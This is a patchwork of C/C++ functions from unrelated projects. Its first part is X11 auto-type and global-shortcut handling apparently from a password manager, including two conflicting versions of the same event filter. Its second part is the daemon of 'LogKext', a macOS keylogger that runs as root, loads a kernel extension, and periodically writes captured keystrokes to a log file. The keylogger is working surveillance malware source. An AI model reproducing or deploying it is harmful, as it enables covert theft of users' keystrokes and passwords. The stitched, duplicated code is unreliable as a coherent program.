AutoTypePlatformX11::AutoTypePlatformX11() { m_dpy = QX11Info::display(); m_rootWindow = QX11Info::appRootWindow(); m_atomWmState = XInternAtom(m_dpy, "WM_STATE", true); m_atomWmName = XInternAtom(m_dpy, "WM_NAME", true); m_atomNetWmName = XInternAtom(m_dpy, "_NET_WM_NAME", true); m_atomString = XInternAtom(m_dpy, "STRING", true); m_atomUtf8String = XInternAtom(m_dpy, "UTF8_STRING", true); m_atomNetActiveWindow = XInternAtom(m_dpy, "_NET_ACTIVE_WINDOW", true); m_classBlacklist << "desktop_window" << "gnome-panel"; // Gnome m_classBlacklist << "kdesktop" << "kicker"; // KDE 3 m_classBlacklist << "Plasma"; // KDE 4 m_classBlacklist << "plasmashell"; // KDE 5 m_classBlacklist << "xfdesktop" << "xfce4-panel"; // Xfce 4 m_currentGlobalKey = static_cast<Qt::Key>(0); m_currentGlobalModifiers = 0; m_keysymTable = nullptr; m_xkb = nullptr; m_remapKeycode = 0; m_currentRemapKeysym = NoSymbol; m_modifierMask = ControlMask | ShiftMask | Mod1Mask | Mod4Mask; m_loaded = true; updateKeymap(); }
int AutoTypePlatformX11::platformEventFilter(void* event) { xcb_generic_event_t* genericEvent = static_cast<xcb_generic_event_t*>(event); quint8 type = genericEvent->response_type & 0x7f; if (type == XCB_KEY_PRESS || type == XCB_KEY_RELEASE) { xcb_key_press_event_t* keyPressEvent = static_cast<xcb_key_press_event_t*>(event); if (keyPressEvent->detail == m_currentGlobalKeycode && (keyPressEvent->state & m_modifierMask) == m_currentGlobalNativeModifiers && !QApplication::focusWidget() && m_loaded) { if (type == XCB_KEY_PRESS) { Q_EMIT globalShortcutTriggered(); } return 1; } } else if (type == XCB_MAPPING_NOTIFY) { xcb_mapping_notify_event_t* mappingNotifyEvent = static_cast<xcb_mapping_notify_event_t*>(event); if (mappingNotifyEvent->request == XCB_MAPPING_KEYBOARD || mappingNotifyEvent->request == XCB_MAPPING_MODIFIER) { XMappingEvent xMappingEvent; memset(&xMappingEvent, 0, sizeof(xMappingEvent)); xMappingEvent.type = MappingNotify; xMappingEvent.display = m_dpy; if (mappingNotifyEvent->request == XCB_MAPPING_KEYBOARD) { xMappingEvent.request = MappingKeyboard; } else { xMappingEvent.request = MappingModifier; } xMappingEvent.first_keycode = mappingNotifyEvent->first_keycode; xMappingEvent.count = mappingNotifyEvent->count; XRefreshKeyboardMapping(&xMappingEvent); updateKeymap(); } } return -1; }
int AutoTypePlatformX11::platformEventFilter(void* event) { XEvent* xevent = static_cast<XEvent*>(event); if ((xevent->type == KeyPress || xevent->type == KeyRelease) && m_currentGlobalKey && xevent->xkey.keycode == m_currentGlobalKeycode && (xevent->xkey.state & m_modifierMask) == m_currentGlobalNativeModifiers && !QApplication::focusWidget() && m_loaded) { if (xevent->type == KeyPress) { Q_EMIT globalShortcutTriggered(); } return 1; } if (xevent->type == MappingNotify && m_loaded) { XRefreshKeyboardMapping(reinterpret_cast<XMappingEvent*>(xevent)); updateKeymap(); } return -1; }
int main() { if (geteuid()) { syslog(LOG_ERR,"Error: Daemon must run as root."); exit(geteuid()); } encrypt_buffer = CFDataCreateMutable(kCFAllocatorDefault,8); /*********Set up File**********/ if (!(pathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN))) { pathName = CFSTR(DEFAULT_PATHNAME); CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN); } CFURLRef logPathURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false); logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,logPathURL); CFRelease(logPathURL); if (!logStream) { syslog(LOG_ERR,"Error: Couldn't open file stream at start."); return 1; } /*********Check encryption & keymap**********/ updateEncryption(); updateKeymap(); /*********Check space**********/ if (outOfSpace(pathName)) { stamp_file(CFSTR("Not enough disk space remaining!")); CFRunLoopStop(CFRunLoopGetCurrent()); } /*********Connect to kernel extension**********/ if (!connectToKext()) { if (load_kext()) { stamp_file(CFSTR("Could not load KEXT")); return 1; } if (!connectToKext()) { stamp_file(CFSTR("Could not connect with KEXT")); return 1; } } sleep(1); // just a little time to let the kernel notification handlers finish stamp_file(CFSTR("LogKext Daemon starting up")); // stamp login file with initial user LoginLogoutCallBackFunction(NULL, NULL, NULL); CFPreferencesAppSynchronize(PREF_DOMAIN); /*********Create Daemon Timer source**********/ CFRunLoopTimerContext timerContext = { 0 }; CFRunLoopSourceRef loginLogoutSource; if (InstallLoginLogoutNotifiers(&loginLogoutSource)) syslog(LOG_ERR,"Error: could not install login notifier"); else CFRunLoopAddSource(CFRunLoopGetCurrent(),loginLogoutSource, kCFRunLoopDefaultMode); CFRunLoopTimerRef daemonTimer = CFRunLoopTimerCreate(NULL, 0, TIME_TO_SLEEP, 0, 0, DaemonTimerCallback, &timerContext); CFRunLoopAddTimer(CFRunLoopGetCurrent(), daemonTimer, kCFRunLoopCommonModes); CFRunLoopRun(); stamp_file(CFSTR("Server error: closing Daemon")); CFWriteStreamClose(logStream); }
void DaemonTimerCallback( CFRunLoopTimerRef timer, void *info ) { /*********Wait if not logging**********/ Boolean validKey; CFPreferencesAppSynchronize(PREF_DOMAIN); CFBooleanRef isLogging = (CFPreferencesGetAppBooleanValue(CFSTR("Logging"),PREF_DOMAIN,&validKey))?kCFBooleanTrue:kCFBooleanFalse; if (!validKey) { isLogging = kCFBooleanTrue; CFPreferencesSetAppValue(CFSTR("Logging"),isLogging,PREF_DOMAIN); } if (!CFBooleanGetValue(isLogging)) return; /********* Check the buffer **********/ int buffsize=0; int keys=0; getBufferSizeAndKeys(&buffsize,&keys); #ifdef DEBUG syslog(LOG_ERR,"Buffsize %d, Keys %d.",buffsize,keys); #endif if (!keys) // no keyboards logged return; if (buffsize < MAX_BUFF_SIZE/10) return; /********* Get the buffer **********/ CFStringRef the_buffer = getBuffer(); /********* Check defaults/file **********/ CFStringRef curPathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN); if (!curPathName) // path has been deleted { pathName = CFSTR(DEFAULT_PATHNAME); CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN); logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false)); if (!logStream) { syslog(LOG_ERR,"Error: Couldn't open file stream while running."); return; } } else if (CFStringCompare(curPathName,pathName,0)!=kCFCompareEqualTo) // path has changed { pathName = curPathName; logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false)); if (!logStream) { syslog(LOG_ERR,"Error: Couldn't open file stream while running."); return; } CFDataDeleteBytes(encrypt_buffer,CFRangeMake(0,CFDataGetLength(encrypt_buffer))); } if (!fileExists(pathName)) // when file is deleted, we resync the encryption & keymap preferences { CFPreferencesAppSynchronize(PREF_DOMAIN); updateEncryption(); updateKeymap(); logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false)); if (!logStream) { syslog(LOG_ERR,"Error: Couldn't open file stream while running."); return; } stamp_file(CFSTR("LogKext Daemon created new logfile")); } if (outOfSpace(pathName)) { stamp_file(CFSTR("Not enough disk space remaining!")); return; } /********* Finally, write the buffer **********/ write_buffer(the_buffer); CFRelease(the_buffer); return; }